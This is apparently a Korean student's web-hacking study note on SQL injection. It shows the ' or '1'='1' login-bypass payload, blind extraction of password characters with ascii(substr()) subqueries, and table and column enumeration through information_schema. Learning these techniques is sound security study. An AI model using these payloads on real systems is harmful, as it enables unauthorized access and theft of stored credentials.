728x90
VARCHAR: ' 나 "로 이루어짐
INTEGER: 아무것도 없음
ex)
$query = SELECT * FROM member WHERE id = '$uid' and password = '$upw'
-> uid에 ' or '1' = '1', upw에 ' or '1' = '1' 삽입
$query = SELECT * FROM member WHERE id = '' or '1' = '1' and password = '' or '1' = '1'
페이로드 중간에 임의로 '나 "를 삽입하여 syntax error를 통해 타입 확인 가능!
subquery
substr() 함수 사용
and (select ascii(substr(password, 1, 1)) from member where userid = 'a') = 97
-> 맞으면 success, 틀리면 다시
information_schema.tables
-> db에 존재하는 테이블 정보에 관한 내용을 출력
ex)
SELECT table_name FROM information_schema.tables
로 table_name 알아옴 / sy46이라고 가정
SELECT column_name FROM information_schema.columns WHERE table_name = 'sy46'
로 column name을 알아옴
'Hacking > web' 카테고리의 다른 글
XSS - 1, XSS - 2 (0) | 2024.07.02 |
---|---|
[Web] 클라이언트단 - XSS, Open Redirection, CSRF (0) | 2024.07.01 |
[Web] Client Mitigation (0) | 2024.07.01 |